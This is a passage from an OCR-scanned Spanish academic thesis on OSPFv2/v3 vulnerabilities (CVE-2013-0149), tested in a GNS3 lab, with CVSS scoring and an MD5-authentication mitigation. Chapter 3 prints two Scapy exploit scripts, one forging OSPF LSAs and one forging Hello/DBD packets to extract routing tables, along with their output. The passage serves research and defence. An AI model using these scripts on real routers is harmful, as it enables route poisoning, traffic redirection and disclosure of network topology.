= RAM:512 MiB
= Tamafo de NVRAM: 128 KiB
= Tamafo de disco PCMCIA: 64 MiB

Los Switches utilizados fueron los genéricos que tienen soporte para implementarse con Sistemas

Operativos como Linux o MacOS, solamente que un poco mas lentos.

La herramienta GNS3 nos da por defecto el uso del dispositivo Cisco 3725 con modulo NM-16SW

para emular el comportamiento del Switch.

1.2.25 Switches

Los Switches son dispositivos que se encargan de mantener los paquetes bien distribuidos a
los dispositivos conectados a él, mediante algoritmos los datagramas son evaluados y distribuidos en
funcién de su solicitud. A diferencia de los HUBS distribuyen la carga de datagramas a los

dispositivos que los solicitan de una manera eficaz y sin que haya latencia.

A estos dispositivos se les pueden establecer Redes de Area Local Virtuales (VLAN), agrupando el tr
afico de dispositivos seleccionados especificamente, que comparten un propdésito en comun, por eje
mplo, en las corporaciones existen diferentes departamentos, recursos humanos, ingenieria, operaci
on, para cada una de ellas se puede crear una VLAN especifica que comparte caracteristicas como

aplicaciones, puertos, etc.

A estos dispositivos se les pueden establecer Redes de Area Local Virtuales (VLAN), agrupando el tr
afico de dispositivos seleccionados especificamente, que comparten un propdésito en comun, por eje
mplo, en las corporaciones existen diferentes departamentos, recursos humanos, ingenieria, operaci
on, para cada una de ellas se puede crear una VLAN especifica que comparte caracteristicas como

aplicaciones, puertos, etc.
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e Cisco Catalyst 6500-E Series

e Tiene una capacidad de 2 Terabits por segundo de sistema de ancho de banda, es ideal para
ambientes escalables.

e Cisco Catalyst ws-c3650-48pd

» Este dispositivo puede establecer politicas para conectividad alambrica e inalambrica.(véase
imagen 1.7)

1.7 Cisco Catalyst 3650 Series Switch

1.2.26 Software

El desarrollo del software para la infraestructura de red implica la labor de producir sistemas
virtuales complejos que involucren los protocolos de comunicacién y la interaccién del hardware

con otros dispositivos, tomando a consideracion los estandares RFC.

e Network Operations Manager
e Sistemas operativos
e Firewall

e Seguridad en la red.
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Capitulo 2. Andlisis del protocolo OSPF

El protocolo de comunicacion OSPFv2 cuenta con caracteristicas esenciales que posibilitan
una comunicacion optimizada con propdsitos de manejar errores de red y resolverlos, el protocolo
cuenta con algoritmos que implementan mensajes de actualizacién a los otros Routers, a partir de
esa comunicacion el implementador de la red considera las configuraciones pertinentes y los

protocolos adecuados para una eficaz transferencia de datos.

Compuesto por datagramas del protocolo IP, la informacién se codifica y se decodifica en cuanto son
transmitidos a través de dispositivos e interfaces de red que los reciben en forma de impulsos
eléctricos. Un ejemplo de los datagramas de los que se compone el protocolo OSPF, son paquetes
DBD, estos paquetes de datos estan constituidos a partir de un formato con el fin de transmitirlos a
los Routers en la vecindad y a los dispositivos que pertenezcan a la misma configuracion de ruteo

(Véase imagen 2.1).

O A e e CSPF  --
- Cleared 000: 00: 02: 21 ago, on 22/04/2003 at 09:56:10 ---------------- oo --
------------------------------------------------------------- SENT: 27

RECEI VED: 0 DROPPED: 0 - | NTERFACE Statistics ---
---------------------------------------------- I TF: 0 MAX- NEI : O EVENTS: 2
----------- [---1NPUT---]--QUTPUT---|-----------]---1NPUT---|--OUTPUT- - - | FRANMVE

[ 0] 13| LOST | o] | HELLO |

0] 13| DD [ o] o] LSU | o]

0] LSR [ 0] 0] LSA | o] o]

| | |
---------------- I TF: 1 MAX- NEI : 0 EVENTS: 1 s----------|---INPUT---] -
-OUTPUT---|----------- [ ---1NPUT---]|--QUTPUT- - - | FRAME | o]

14| LOST [ 0] | HELLO | o] 14| DD

| 0] 0] LSU | o] 0| LSR |

Imagen 2.1 modulos ospf
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La imagen anterior muestra la informacién almacenada en un paquete de base de datos del
protocolo OSPF, la cual es enviada a todos los Routers cuando se comparte con los otros
dispositivos, indicando el tamafio de los paguetes asociados a las interfaces de entrada y salida, los
mensajes de actualizacidén de estado (LSA) y paquetes de transferencia (LSU).

Los datagramas es la parte esencial de la informacién que se transmite, en ellos, se encuentra la
informacion codificada que se quiere comunicar. La codificacion que tienen los datagramas varian
segun los protocolos que se estén ocupando varia la longitud, una vez codificada ésta informacion,
se envia a través de un medio. Se toma como referencia el medio, como medios digitales, puede ser

transparente la transmision o pueden implementarse medidas de seguridad.

Algunas de las medidas que el protocolo provee para aumentar las medidas de seguridad son las

siguientes: (Véase imagen 2.2)

» Autenticacion por llave criptogréfica (insercién de un hash en la cabecera del protocolo).
* El mecanismo fight-back .
e Los dos campos, ID y LSA en el protocolo deben de ser los mismos.
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OSPF version | OSPF pkt type |
QSPF length

OSPF version | OSPF pkt type
OSPF length

L— Source OSPF Router ID — — Source OSPF Router ID —

0 (no checksum) 0 {no checksum}

2 {eryplographic auth)
0
5 (Key ID) ! 16 (MDS5 len)
Cryptographic sequence no.

2 (cryptographic auth)
0
5 (Key ID) | 16 (MD5 len)
Cryptographic sequence no.

1
t
|
|
I
I
!
)
— OSPF Area ID —, — OSPF AreaID —
|
|
1
I
1
I
I
i

.-

; algorithny
! . :
Packet body ' Packet body
— —
1 \
1 3 I‘
1 A |
| —, \ ' — —
1 i |
| —] \ e —_
1 \\ |
| —, g - ]
16-byte secret 1 ‘ ’ MBS5 cryptographic
— ! v [ hash or signature —
| —_— L —
1
— i
|
1
!

SEEe
l

Imagen 2.2 Generacién de mensaje OSPF Cryptographic Auth

Existen firewalls provistos por la empresa Cisco o Juniper que se adaptan a los problemas, la
tecnologia varia de acuerdo a las necesidades del cliente y a la posibilidad econdémica que se tenga.

2.2 Tipos de paquetes OSPF

Saludo

Descripcion de la base de datos DBD.
Solicitud del estado enlace.
Actualizacién del estado enlace.

Acuse de recibo del estado enlace.
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2.3 Caracteristicas

El tipo de paquete de saludo reconoce a los Routers o dispositivos que tengan habilitado el
protocolo de comunicacion en la vecindad, eligen un Router designado (RD) y el Router de respaldo
(BDR) parametros para convertirse en vecinos.

2.4 Vulnerabilidades

En seguridad de la informacion el término de vulnerabilidad, es conocido como una debilidad
en el sistema permite a un atacante modificar los datos almacenados, violando la integridad de los

mismos.
La vulnerabilidad que se estudio, se basa en el protocolo OSPFv2 y V3.

2.5 Vulnerabilidad que afecta al protocolo OSPF v3

Vulnerabilidad: CVE - 2013 - 5565
Release Date: 2013 November 6 23:29 UTC (GMT) LastUpdated: 2013 November 7 19:40 UTC (GMT)

La vulnerabilidad anterior nos indica basicamente que un atacante remoto sin requerir autenticacion

puede causar dafos en el protocolo de ruteo en un dispositivo afectado.

Consiste en hacer uso de paquetes malformados, al no hacer un parseo propio del paguete
malformado tipo 1 de LSA (link-state advertisement).

El atacante puede causar el colapso del protocolo OSPFv3, en un dispositivo afectado, llevando a
una condicion de DoS (Denial of Service).

Los productos afectados son:
Cisco 10S XR Software con CSCuj82176
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El equipo de respuesta a incidentes de Cisco lo reporté como un informe de bajo a medio en nivel de
seguridad, que afecta a los dispositivos Cisco. Citando “Clientes que quisieran actualizar el software
de su dispositivo que incluye el arreglo de éste y otros hallazgos necesitarian contactar con los
canales de soporte”.

Cisco menciona que ellos pueden actualizar el documento en el cual mencionan lo reportado,
por ende se deslindan de responsabilidad en cuanto a problemas posibles que existan en un futuro si
las compafias deciden actualizar o no sus dispositivos, se podria considerar éste anuncio como una

proteccion de propiedad intelectual o por puro mercantilismo.

2.6 Vulnerabilidad que afecta al protocolo OSPFv2

CVE-2013-0149

La implementacion del protocolo en la version 12.0 de Cisco hasta la version 12.4 y de la version
15.0 hasta la 15.3 IOS-XE 2.X hasta la versidon 3.9.xS, para dispositivos ASA y PIX de la version 7.x
hasta la versién 9.1, para dispositivos FWSM, para dispositivos NX-OS, y para la version del sistema
operativo StarOS antes 14.050488 no hace una validacion propia para los paquetes estados de
enlace LSA tipo 1 antes de realizar operaciones en la base de datos LSA, los cuales permiten a los
atacantes causar una negacion de servicio (corrupcién de ruteo), también el obtener paquetes de
informacion sensible via Unicast o por paquetes Multicast. Los identificadores de los errores son:
Aka bugs IDs.

CSCug34485, CSCug34469, CSCug39762, CSCug63304, and CSCug39795

2.7 LSA ( Link State Advertisementent)

En el curso CCNA Exploration V4.0 analizamos los paguetes que involucran el conocimiento de la
red a través de mensajes de saludo entre Routers configurados

Con la vulnerabilidad del protocolo OSPF, sugeri tomar a consideracion que dichos mensajes de

saludo tiene un proceso el cual es:

LSU: Las LSU son paquetes que pueden incluir 10 tipos diferentes de notificaciones de estado
enlace LSA.
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DBD:Es un paquete de descripcion de la base de datos, tiene una lista del estado del Router emisor

y los otros Routers utilizan esa informacién para compararlos con la base de datos de estado del

enlace local.

LSR:Es una solicitud del estado enlace, la cual recibe nuevas entradas a la base de datos DBD.

LSAck:Cuando se recibe un paquete tipo LSU, el Router envia el acuso de recibo de estado enlace

confirmando la recepcién del paquete LSU.

La diferencia que existe entre paquetes que notifican el estado de la conexidn y paquetes que

actualizan el estado enlace puede ser un poco confusa, ya que una LSU puede incluir una o mas

LSAs y cualquier de éstos dos puede hacer referencia a la informaciéon que se propaga a través del

protocolo OSPF.

Et.all CISCO CCNP

Tabla 3.
LSA
Tiposde LSA Descripcion
1 L SA de Router
2 LSA dered
304 L SA deresumen
5 L SA externos del sistema auténomo
6 LSA de OSPF Multicast
7 Definido por areas no tan llenas
8 Atributos externos de L SA para Border
Gateway Protocol ( BGP)
9,10y11 L SA opacas

Indicadores de LSA, gue muestran los tipos para cada L SA en base a protocolo OSPF.
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2.8 Desarrollo de las pruebas

El laboratorio y los dispositivos virtuales se conectaron entre los Routers, Switches y Hosts,
se realizaron las pruebas de conectividad entre ellos. Se utilizé un programa que envia mensajes tipo

“HELLO” a los Routers vecinos configurados en el protocolo OSPFv2.

La investigacion se bas6 en metodologias de reconocimiento y analisis de vulnerabilidades |,

tomando a consideracion una perspectiva intrusiva.

Seleccion del objetivo.

* Reconocimiento del dispositivo.

* Herramientas o utilerias a implementar.

» Explotacion de la vulnerabilidad.

» Prueba, error y verificacion de los hallazgos.

El objetivo en este caso fue delimitado con configuraciones especificas en base a actualizaciones
de seguridad que eran recibidas mediante cuentas de a las cuales se dio la tarea de suscribirse.
El procedimiento de analisis se formd con una nueva vulnerabilidad encontrada en un CVE
(Common Vulnerabilities Exposures), se continu6 con la investigacion de la misma utilizando una
herramienta en linea denominada National Vulnerability Database, el cual es un repositorio de
vulnerabilidades estandarizadas, las cuales son administradas utilizando un protocolo SCAP
(Security Content Automation Protocol). Se consideré que las vulnerabilidades también pueden
encontrarse facilmente utilizando motores de busqueda como Google o DuckDuckGo, que arrojan
a su vez respuesta a entidades dedicadas a hacer publicas las nuevas y mas recientes
vulnerabilidades de los sistemas de informacién, siendo una base datos como servicio web de los
hallazgos y algunas veces de programas que pueden utilizarse para la confirmacion de la
vulnerabilidad.
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Prueba no.-1 (modificacién del esquema inicial)

El siguiente esquema muestra a los dispositivos conectados con las configuraciones basicas del
protocolo OSPF (véase imagen 2.3):

R5
R1

R4
ﬁsm 40.0.0.1/24 a $1/0 10.0.0.2 a
: ct

20.0.0.0/30 10000/30
$1/1 20.0.0.1 /030002 \
na sif
3oooorso “‘

$1/0 20.0.0.2 £1/0 10.0.
10/0 192.168.0.1/24

N\, swi
A, |

R 192.168.0.2/24

\ Deblan
B ~ LA

Iy

Imagen 2.3 Segundo esquema.png - 2015715

Una vez conectado se configuraron los Routers con el protocolo OSPFv2 de la siguiente manera:

Rout er (config)# router ospf process_ID

Rout er (config-router)# network | P_address wildcard_nmask area area_#

Para el Router R3 se configurd de la siguiente manera (véase Imagen 2.4):

‘router ospf 2' 19:49:11 UTC Fri Sep 25 2015
log-adjacency-changes' 19:49:11 UTC Fri Sep 25 2015

hetwork 20.0.0.0 0.0.0.3 area 2' 19:49:11 UTC Fri Sep 25 2015

‘ip forward-protocol nd' 19:49:11 UTC Fri Sep 25 2015

Imagen 2.4. Historial Configuracion R3.png - 20150925
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Para las siguientes direcciones IP, se repitié el mismo procedimiento:
20.0.0.2

20.0.0.1

10.0.0.2

10.0.0.1

3.0.0.1

3.0.0.2

192.168.0.1

Se instalé el sistema operativo Debian 6.0 y el sistema operativo Windows XP en Virtual Box
version: 4.3.18 r96516.

Para los Switches se tomé en cuenta la configuracion por defecto sin ingresar ninguna restriccion
a través de VLANS, ya que el objetivo de esta tesis es demostrar la vulnerabilidad en el protocolo
OSPFv2 en los Routers.

Los dispositivos estan conectados en este entorno de pruebas, confirmando la conectividad a
través de mensajes ICMP mediante la utileria PING.

Para la configuracion del sistema operativo Debian 6.0, se tuvo que seguir el siguiente

procedimiento:

» Se modificé el entorno GNS3 para utilizar el sistema operativo a través del programa
Virtual Box. Para ello, a través de la pestafia de Preferencias, en la seccion de Virtual Box
se colocé el objeto VboxWrapper para controlar a las maquinas virtuales. (véase Imagen
2.5)
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VirtualBox

WcEnerISaiiagall vinuaieox Guest

VBoxwrapper

Path to VBoxwrapper: fsNBoxWrapper/Contents/MacOSNBoxWrapped[

Working directory: fmp

VBoxwrapper port: 11525 TCP °
Base UDP port: 20900 UDP o
Base console port: 3501 TCP “

Use VirtualBox VM names for hostnames
Show VBoxWrapper Advanced Options

Imagen 2.5 Configuracion general de Virtualbox en GNS3

« Antes de probar la conectividad con las maquinas virtuales y el gestor GNS3, se
recomienda colocar las configuraciones necesarias como las interfaces fisicas del huésped

gue van a interactuar con las maquinas virtuales, en la pestafia de Virtual Box Guest.

2.9 Problemas en el Desarrollo

A través de la elaboracion de las pruebas de esta tesis, surgieron varios problemas. La mayoria de
ellos se debieron al desarrollo de las pruebas, tanto de cédigo, como de conocimiento del problema.

Algunos de los problemas para que esta tesis se realizara fueron los siguientes:
En el Desarrollo de la Infraestructura virtual en el programa GNS3 .
El programa de virtualizacion de la red, debido a que tenia constantes actualizaciones.

El desarrollo del programa que expone la vulnerabilidad, por las funciones, no todas estan

completamente documentadas.

El sistema operativo Debian 6, (bibliotecas desactualizadas, xserver, plugins de Virtual Box Addons).
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2.10 Analisis de vulnerabilidades sobre OSPF

En esta tesis se consideraron los activos necesarios para las pruebas de la vulnerabilidad, lo
cual llevara al lector a tener dos perspectivas diferentes, afectacibn econdmica y de datos. La
evaluacion de los riesgos siempre estaran asociados a los activos y por lo tanto se tendrd un
esquema de referencia diferente, tomar en consideracion las medidas necesarias en caso de que se
presente algun tipo de incidente, resultara en conclusiones favorables, no viéndose afectada la

continuidad del negocio en la organizacion.

2.11 Explotacion de la vulnerabilidad

A partir de que se encontro la vulnerabilidad mediante comunicados de listas de correo, CVE-2013-

0149 se investigo y se llegaron a varias conclusiones.

La explotacion era factible.
2. Se podria inyectar el paquete con informacién necesaria para cambiar el rumbo de la
comunicacion.

3. Afectaba a dispositivos configurados con el protocolo OSPFv3.

2.12 Tipos de impacto en los servicios

Los servicios en los que impacto la vulnerabilidad fueron los siguientes:
» Denegacién de Servicio.
» Obtencion de tablas de ruteo.

* Ingreso de nuevas direcciones IP a las tablas de ruteo.

Los efectos que mostraron los Routers pueden variar en un entorno de pruebas fisicas, ya que para
demostrar la vulnerabilidad se replicé la divulgacion de informacién a través de la obtencion de las

tablas de ruteo de un Router victima.
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2.13 Practica de una auditoria

Para esta tesis, se propuso elaborar una auditoria a dispositivos en red en produccion de una
pequefia empresa, para ello, se llevo a cabo la metodologia de un sistema de gestion de seguridad
de la informacién mejor conocido como SGSI.*

SGSI

Auditoria Interna
En lo que conforma a los sistemas de gestion de seguridad del ISOIEC 270012005, una auditoria
interna se define como el procedimiento para obtener una visién objetiva e imparcial de la intencién,

planeacién, implementacién y operacion del SGSI.

Deteccion de errores en procedimientos y controles.

Deteccion de eventos para prevenir accidentes.

Identificar incidentes de seguridad fallidos y exitosos.

Identificar las distintas malformaciones de seguridad realizadas para las actividades delegadas en la
organizacion.

Verificar el correcto funcionamiento de los controles de seguridad.

2.14 Explotacion de vulnerabilidades mas comunes

De acuerdo con el top 5 en vulnerabilidades en red de Acunetix'?, las vulnerabilidades més

comunes encontrada en los dispositivos de red, son las siguientes:

1. Olvidar instalar los parches de actualizacion.
2. Contrasefias débiles o dejar las contrasefias que vienen por defecto.

Es el sistema que protege la confidencialidad, integridad y disponibilidad de los bienes informéticos y de informacion.
12 Acunetix: Es un agente de seguridad virtual que permite el escaneo de sitios web, genera informes de auditoria de seguridad web. régimen
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3. Configuraciones erréneas en las reglas de firewall.
4. Dispositivos moviles.
5. Dispositivos USB.

2.15 Tipos de impacto en los servicios

Se tomd como marco de referencia al sistema web que tiene NIST, para evaluar el dafio que
puede tener la vulnerabilidad. Mediante una calculadora se obtienen valores para medir los niveles
de explotabilidad en base a caracteristicas fundamentales de una vulnerabilidad, el sistema tiene

como objetivo que el evaluador provea informacién contextual de la vulnerabilidad detectada.

Como evaluador de brechas de seguridad de la informacién, se debe de utilizar esta herramienta, ya
gue ayuda a mostrar en un reporte de seguridad intuitivo, el cual los clientes que soliciten el servicio,
puedan entender. (véase imagen Figura 2.6)

La pagina oficial es la siguiente:

https://nvd.nist.gov/cvss.cfm?calculator&version=2

‘Common Vulnerability Scoring System Version 2 Calculator

This page shows the components of the CVSS score for example and allows you to refine the CVSS base score. Please read the CVSS standards guide to fully understand
how to score CVSS vulnerabilities and to interpret CVSS scores. The scores are computed in sequence such that the Base Score is used to calculate the Temporal Score and
the Temporal Score is used to calculate the Environmental Score.

Base Scores Temporal Environmental Overall cvVSS Base Score Undefined
164 30:0 A0 1o | [ Impact Subscore Undefined
8.0 8.0 8.0 8.0 - ‘ Exploitability Subscore Undefined
6.0 6.0 6.0 6.0 \ CVSS Temporal Score Not Defined
4% 4o 40 4D | ‘ CVSS Environmental Score Not Defined
‘ Modified Impact Subscore Not Defined
2.0 - 2.0 2.0 2.0 :
l | Overall CVSS Score Not Defined
0.0 0.0 0.0 0.0 :

Show Equations

Base Impact Exploltability Temporal Environmental Modified Impact Overall

Figura 2.6 (Common Vulnerability Database Scoring System)

Para obtener los resultados en la calculadora, se activaron los botones que mediante JavaScript y
PHP utilizan formulas para calcular el dafio o posible dafio que pudiese tener la vulnerabilidad.
La calculadora tiene 3 medidas:

- Base.
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- Temporal.

- Ambiente

Para la vulnerabilidad CVE-2013-0149, se ocupo la métrica Base, Temporal y Ambiental, con
la excepcion de utilizar la seccién de modificadores de impacto, ya que con las medidas anteriores,
se pueden obtener escalas aceptables y no tan alarmantes ante un cliente. En caso de que se desee
mas exactitud de la explotabilidad potencial que pudiese tener cualquier vulnerabilidad, se debera

tomar en cuenta la métrica ambiental completa.

2.16 Analisis de los impactos

Se obtuvo la informacion de la vulnerabilidad a través del NIST, arrojo la siguiente
informacion: (véase imagen Figura 2.7)
‘Common Vulnerability Scoring System Version 2 Calculator - CVE-2013-0149

This page shows the components of the CVSS score for example and allows you to refine the CVSS base score. Please read the CVSS standards quide to fully understand
how to score CVSS vulnerabilities and to interpret CVSS scores. The scores are computed in sequence such that the Base Score is used to calculate the Temporal Score and
the Temporal Score is used to calculate the Environmental Score.

Base Scores Temporal®° Environmental Overall CcVSS Base Score 5.8

180 2G0T 00 10 Impact Subscore 4.9

8.0 - 8.0+ 8.0 - 8.0- | Exploitability Subscore 8.6 |

6.0 - 6.0 - 6.0 - 6.04 CVSS Temporal Score Not Defined
5.8 i i

Aol Aoy 200 a0 BB CVSS Environmental Score Not Defined
‘ Modified Impact Subscore 0

2.0 4 2.0 2.0 2.0 B
‘ Overall CVSS Score 5.8

0.0 - 0.0 0.0 0.0 A= Show Equations

Base Impact Exploitability PN B SN e

Figura 2.7 (CVE-2013-0149)

La particularidad de la imagen anterior, es el impacto de explotabilidad: 8.6, el cual es
generado por el vector.
AV:N/AC:M/Au:N/C:P/I:N/A:P

Los acrénimos anteriores son separados por el caracter “/”, y significan lo siguiente:

AV:N = Access Vector None.

AC:M = Access Complexity Medium.
Au:N = Authentication None.

C:P = Confidentiality Impact Partial.
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2
1

Integrity Impact None.

AP

Availability Impact Partial.

El vector de impacto se gener6 utilizando la siguiente configuracion en el sistema web: (véase

imagen Figura 2.8)

Base Score Metrics

Exploitability Metrics Impact Metrics
Access Vector (AV)* Confidentiality Impact (C)*
TR Il weowork avio [NETVCITY rarte ) [N
Access Complexity (AC)* Integrity Impact (I)*

TN rercet i) || compiee ) |
Authentication (Au)* Availability Impact (A)*

XN nere | one o [N comvie

* - All base metrics are required to generate a base score.

Temporal Score Metrics

Exploitability (E)

I Unproven that exploit exists (E:U) I Proof of concept code (E:POC) " Functional exploit exists (E:F) Jl High (E:H) |
Remediation Level (RL)

LIS official fix (RL:OF) | Temporary fix (RLTF) | Workaround (RL:W) | Unavailable (RL:U) |

Report Confidence (RC)

I Unconfirmed (RC:UC) | Uncorroborated (RC:UR) | Confirmed (RC:C) |

Figura 2.8 (Vector de Impacto)

2.17 Propuestas para mitigar los impactos de seguridad generales

Se propone como medida para mitigar los impactos de seguridad en los dispositivos de red las
siguientes etapas de analisis.

e Usuarios.
 Administradores.

« Planeacion de la infraestructura tecnoldgica.
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Capitulo 3. Planteamiento del problema

La vulnerabilidad CVE-2013-0149 que permite la obtencibn remota de las tablas de ruteo,
denegacion de servicio, redireccion de tréfico e intercepcion de trafico potencialmente, aplica a los
Routers configurados con el protocolo de comunicacion OSPFv2, el cual, pudiese derivar en ataques
mas elaborados atacando a mas activos de la infraestructura logica relacionada, como software

aplicativo, VLANS etc.

El ataque que se utilizara serd con el objetivo de obtener las tablas de ruteo configuradas en el

Router.

La prueba de concepto de la vulnerabilidad se plante6 a través de la simulacion de una red, la cual
utiliza los parametros basicos de conectividad entre los dispositivos que se listaran mas adelante, los
dispositivos Routers, Switches y HOST respectivamente, estdn conectados mediante el hardware
virtual necesario para hacer la prueba, por ejemplo para los Routers con cables seriales y para los
host y los Switches mediante cable UTP.

Los parametros son los siguientes:

* Los Routers fueron configurados con el protocolo OSPFv2.

 Los Switches estdn como intermediarios de paquetes, (Nota: No se tomaran en cuenta
proteccion mediante VLANSs o Firewalls)

e Las computadoras cuentan con los sistemas operativos Windows XP, Debian 6.0.

« Las éareas se configurardn seran de tal manera que el protocolo de comunicacion, se

mantendra en las areas 0, 1y 2. (véase imagen 3.1)
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c2

network address wildcard-mask area area-id ‘
Swi
Router central

10/0 192.168.1.0/32

Se deben
b o1 192.168.1.2/24
colocar
——————— A ?’ switches
a -~
Area 1 g, $1/110.0.02 Ospt 3 L ‘
-—— -
_- - Sistema Auténth 1 e SRR T T T I
L %
i s1RY0RYYP 1000080 _--| sw3 i
, ~
/ 20.0.0.0/24 ’ / 10/0 192.168.1,0/24 - M
/ PR — ospf 2 \
I’ 0 Area 0 ,
\ - s
\
\ e o
N Windows: eth1 192.168,0.224
N g o DRTEGO RERSEISTERIR T N R e g i i b

3.1 Primer esquema.png - 20141030

La implementacion anterior se dio con el fin de estudiar el funcionamiento de del protocolo OSPFv2
en una red virtual, tomando las caracteristicas que proveen una conectividad simple entre la maquina

virtual Debian 6.0, los Routers y los Switches.

Una vez conectados los dispositivos y hechas las configuraciones del protocolo OSPF, se gener6 el
problema tedrico, el cual consiste en la obtencion de las tablas de ruteo a partir de un host que se
encuentre conectado a alguno de los dispositivos de la red virtual.

La imagen V.1 Primer esquema, muestra la infraestructura virtual, la cual indica 3 Areas en

las cuales los dispositivos estan distribuidos:

Area 1

Para el area 1 se indican 3 dispositivos virtuales emulados:
2 Routers con la imagen 10S ¢7200-advipservicesk9-mz150-1M. image
1 Computadora con la imagen del sistema operativo Windows XP.

Area 2

Para el &rea 2 se indican los siguientes dispositivos:
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2 Routers con la imagen IOS c7200-advipservicesk9-mz150-1M. image
1 Computadora con la imagen del sistema operativo Debian 6. 0.

Version de la imagen de 10S de los Routers: (véase imagen 3.2)

I Router#sh flash

Open device slot@ failed (Bad device info block)

Router#st ersion

Cisco I0S Software, Software (C7200-ADVIPSERVICESKS-M), Iversion 15.0(1)M, IR

ELEASE SOFTWARE (fc2)
Technical Support: http://www.cisco.com/ techsupport
Copyright (c) 19386-20083 1 SCO ! tems, Inc.

prod rel team

3.2 Version.png - 20150925

3.1 Desarrollo de las pruebas

Una de las pruebas que se investigd para esta tesis, se dio a partir de la investigacién que
hicieron tres personalidades reconocidas en el mundo de la seguridad de la informacion Alex
Kirshon, Dima Gonikman y Gabi Nakibly durante una conferencia conocida como BlackHat.

En el transcurso de la investigacion se empezd a conocer el funcionamiento de los paquetes entre
los Routers, las vulnerabilidades, los algoritmos de proteccién y su implementacion.

La prueba consistia en conocer las vulnerabilidades mas propensas en los Routers que manejen el
protocolo RFC 2328 OSPFv2, tomando como hechos :

1- La actualizaciéon de las LSA.

2- Actualizacién de la base de datos de enlaces (LSDB).
3- Protocolo sin tener mecanismos de autenticacion.

4- Conocer las direcciones IP de los Routers victima.

5- Los numeros de secuencia de la LSA.

6- El mismo verificador o (checksum).

7- El mismo tiempo de actualizacion (+/- 15 min).

8- El secreto compartido entre LSID
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Una vez que el Router recibe la LSA falsa no hay manera en que pueda identificar que los campos
ID y LSA sean veridicos, especificado por el protocolo OSPF.

El Router respondera con el método fight-back solo si la LSA falsa recibida tenga un ID de estado

enlace igual al de la victima.

Por lo tanto

Link State ID y la LSA, tiene que ser igual el identificador para que sea exitoso el ataque.

Una segunda parte de la vulnerabilidad del protocolo, es una ambigiedad que es especificada en el
protocolo OSPF debido a que en la base de datos LSDB busca el identificador de estado enlace
LSID.

3.2 Desarrollo de la solucion

Como solucion se recomienda implementar un mecanismo de autenticacibn en cada
dispositivo, el protocolo OSPF envia informacién en texto plano a través de la red, es por ello que se
recomienda habilitar el algoritmo de digestion md5 para cada Router, para que a pesar de que la infor

macion pueda ser interceptada esta sea un poco mas dificil de obtener y descifrar.
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3.3 Explotacion de la Vulnerabilidad

Se elaboré una LSA falsa, con un numero de secuencia mayor que la valida por el protocolo,
por lo gue no reemplazara a la valida LSA en la base de datos LSDB.

Ejemplificando una prueba mediante la elaboracion de un programa demo.

pruebalSA. py

#! /usr/bin/python

from scapy.all import *
import numpy as np

from math import *
#Cargando el médulo de ospf
load_contrib( ‘ospf’)

atacante_ip = »192.168.0.2” #Direccion IP de la interfaz saliente ethl
router_victima = “10.0.0.1” #Direccion IP de una interfaz del router virtual
victima_destino = “192.168.0.1” #Direccion IP de la interfaz del router virtual
falso_adv_router = “192.168.0.4” #

seq_num = 0x80000004L
LSA_FALSO = IP(src=atacante_ip, dst=victima_destino) \
/OSPF_Hdr(src=atacante_ip) \
/OSPF_LSUpd(1lsalist=[ \
OSPF_Router LSA(Options=0x22, type=1, id = router_victima, adrouter=
falso_adv_router, seq=seq_num, link list=[ \
OSPF_Link(id="192.168.0.1”, data="192.168.0.3”, type=2, metric=1), \
OSPF_Link(id=192.168.50.0”), data="255.255.255.08”, type=3, metric=3) \
D
D

send(LSA_FALSO, iface="eth1”)

Debido a que las actualizaciones de las tablas de ruteo se daban por Multicast, se observé el
siguiente resultado de la peticion prueba a través de una herramienta de analisis de trafico

tcpdupm. (véase Figura 3.3)
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> 224.0.0.5: 0SPFv2, Hello, length 56
\ |:r|:|>:\|:| r:;l?";a l»f,‘fi:» Cer&‘E] |:|>:\|:|1 '

OxO0010: e000 0005 0201 00Z2c cOa8 0001 0000 0002

Ox0020: 6b49 0000 0000 0000 0000 0000 ffff ffoo

Figura 3.3 (TCPDUMP tréafico)

Mostrando una direccion IP para mandar la informacién de la base de datos LSDB (Link State
Database) a través de la LSU (Link State Update).

Segundo programa prueba:

Para una segunda prueba, se elabor6 un programa que Unicamente realizaba anuncios del tipo

mensajes tipo Hello al Router al cual se le dirigia el ataque.

Mediante el siguiente programa se pudo lograr que el Router divulgara la informacién de sus vecinos.

#!/usr/bin/python

from scapy.all import *
load_contrib(‘ospf’)

from time import sleep,clock,time

def enviar(packet):
sendp(packet,iface="ethl’)
sleep(2)

fantasma="192.168.0.2°

victima=’192.168.0.1°

victimaId=’192.168.0.1°

secuenciainicial=17 f#tsecuencia inicial aleatoria.
ddsize=10 #numero de DBDs que el atacante enviara.

Duracion=(float(raw_input(“Ingresa la duracién del ataque: )
IPlayer=IP(src=fantasma,dst=victima)
OSPFHdr=0SPF_Hdr(src=fantasma, area="2")

#Construccion del primer paquete hello
hello=Base/OSPF_Hello(options=2,router=victima,backup=victima,neighbors=victimald

)

enviar(hello)
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#Construccion de las DBD falsas que seran enviadas
dd=Base/0OSPF_DBDesc(options=2,dbdescr=7,ddseq=secuenciainicial)
enviar(dd)

#Construccion del resto de paquetes DBD

secuenciainicial+=1

for i in xrange(1l,ddsize+1):
dd=Base/0SPF_DBDesc(options=2,dbdescr=3,ddseq=secuenciainicial)
enviar(dd)
secuenciainicial +=1

#Construccion y envio del ultimo paquete DBD

dd=Base/0OSPF_DBDesc(options=2,dbdescr=1,ddseq=secuenciainicial)

enviar(dd)

Ejecucion del programa. (véase Figura 3.4)

root@mac: /home/john/Documentos/Tesis# python hello.py
WARNING: No route found for IPv6 de: (no default route?)

sent

sent

sent

Figura 3.4 (Envi6 de paquetes)

Modificacion de la direccién Multicasting que viene por defecto en el Sistema Operativo Debian 6.0,
para ello, primeramente se ejecuto el siguiente comando para visualizar via terminal la direccion que

ya se encuentra configurada. (véase Figura 3.5)

# netstat -g
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:~# netstat -c
[Pv6/IPv4 Group Memberships

[nierlace =[CnL Group

ffo2: : fb%168129840
ff02::1:ffc0:8a14%168129840

1
1
1
1
1
1
1
1
1
1
1
1
1

Figura 3.5 (Interfaces Multicast)

Comando que muestra las configuraciones por defecto de las direcciones Multicast, pre configuradas
por el kernel. El resultado fue el siguiente:

Verificacion

Envio de las DBD y transmision de las LSA con sus actualizaciones pertinentes a la interfaz de red
FastEthernet0/0 de la cual proviene el ataque remoto. (véase Figura 3.6 y Figura 3.7)
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0SPF: Retransmitting DBD to 192.168.0.2 on FastEthernetd/0 [3]
end hello to 5 from 192,168
Send DED to 192. . stEthernet/o s %13 opt Bx5

' nh FastFthernetil/f [9]
serflallsu Trom Ld,W0,u, 1

xpired
LEtherne
bor
DR el
Elect BDR

DR: 192. : (Id) DR: none

